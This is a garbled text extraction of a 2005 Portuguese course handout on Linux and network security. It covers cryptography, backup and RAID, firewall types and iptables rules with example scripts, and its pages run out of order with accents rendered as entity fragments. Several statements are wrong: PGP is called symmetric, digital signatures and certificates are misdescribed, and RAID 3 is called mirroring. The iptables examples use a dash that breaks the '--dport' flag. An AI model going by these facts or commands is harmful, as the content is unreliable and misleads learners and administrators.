ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 15: Curso de segurança em linux e redes em geral

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

